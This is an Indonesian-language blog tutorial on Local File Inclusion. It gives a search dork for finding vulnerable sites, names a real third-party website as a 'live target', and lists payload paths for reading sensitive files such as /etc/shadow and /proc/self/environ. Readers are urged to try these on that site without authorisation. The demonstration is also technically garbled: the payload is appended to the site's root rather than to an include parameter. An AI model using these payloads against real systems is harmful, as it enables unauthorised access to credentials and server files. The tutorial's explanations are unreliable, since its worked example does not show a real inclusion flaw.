Tutorial Local File Inculison (LFI)

 

Assalamualaikum warahmatullahi wabarokhatu hallo semua nya balik lagi di blog saya,di artikel kali ini saya akan membahas tentang apa itu "LOCAL FILE INCLUSION (LFI)"


Penjelasan Local File Inculison (LFI)

Local File Inclusion (LFI) adalah kerentanan yang sering ditemukan dalam aplikasi web yang ditulis dengan buruk,Kerentanan ini terjadi ketika aplikasi web memungkinkan pengguna untuk mengirimkan input ke file atau mengupload file ke sebuah server


Kerentanan LFI memungkinkan penyerang untuk membaca dan mengeksekusifile pada mesin korban,Ini bisa sangat berbahaya karena jika server web salah konfigurasi dan berjalan dengan hak istimewa tinggi, penyerang dapat memperoleh akses ke informasi sensitif.


Cara Kerja Local File Inculison (LFI)

File Inclusion biasanya diperlukan untuk menjaga kode aplikasi web tetap rapi dan terpelihara,Mereka juga memungkinkan aplikasi web untuk membaca file.


Tetapi ini bisa berbahaya jika tidak diterapkan dengan benar, penyerang dapat mengeksploitasi mereka dan membuat serangan LFI yang dapat menyebabkan pengungkapan informasi, Cross-Site-Scripting (XSS) dan kerentanan Remote Code Execution (RCE).


Bahkan tanpa kemampuan untuk mengupload dan mengeksekusi kode, kerentanan Local File Inclusion dapat berbahaya. Penyerang masih dapat melakukan serangan Directory Traversal menggunakan kerentanan LFI seperti contoh di bawah ini 


https://website.com/?file=index.php


Dapat diubah menjadi 


https://website.com/?file=/etc/passwd


contoh di atas,penyerang bisa mendapatkan konten file /etc/passwd yang berisi daftar pengguna di server menggunakan kerentanan Local File Inclusion,untuk melakukan serangan Directory Traversal. Demikian pula, penyerang dapat memanfaatkan kerentanan Direktori Traversal untuk mendapatkan akses ke kredensial, log, kode sumber, dan informasi sensitif lainnya yang dapat membantu memajukan serangan.


Tutorial Local File Inculison (LFI)

Dork

inurl://site .com php?page= 


Di sini saya menggunakan target website vuln Local File Inculison (LFI)

Target>>


https://www.hackerfactor.com


Seperti penjelasan di atas dari kita menggunakan payload untuk mengexploitasi local File Inculison untuk payload nya terdapat banyak sekali ya ok contoh payload LFi di bawah ini


/etc/issue

/etc/passwd

/etc/shadow

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)

/proc/self/environ

/proc/version

/proc/cmdline


Ok salin salah satu payload di atas contoh nya yang saya gunakan sekarang adalah /etc/passwd,di atas saya sudah kasih target live untuk di coba ya ok langsung saja kita pasang payload nya di website tersebut 


https://www.hackerfactor.com/etc/passwd


Di sini setelah saya pasang payload nya keluar sebuah kode"ya nah kode"tersebut bisa di eksekusi seperti yang saya jelaskan di atas tadi.


Kesimpulan

Jadi Local File Inclusion (LFI) adalah kerentanan yang umum ditemukan pada situs/Website. Kerentanan ini ada ketika aplikasi web menyertakan file tanpa membersihkan input dengan benar.


Sekian artikel dari saya tentang Local File Inclusion (LFI) Sampai jumpa di artikel selanjutnya semoga bermanfaat:)


Belum ada Komentar untuk "Tutorial Local File Inculison (LFI)"

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel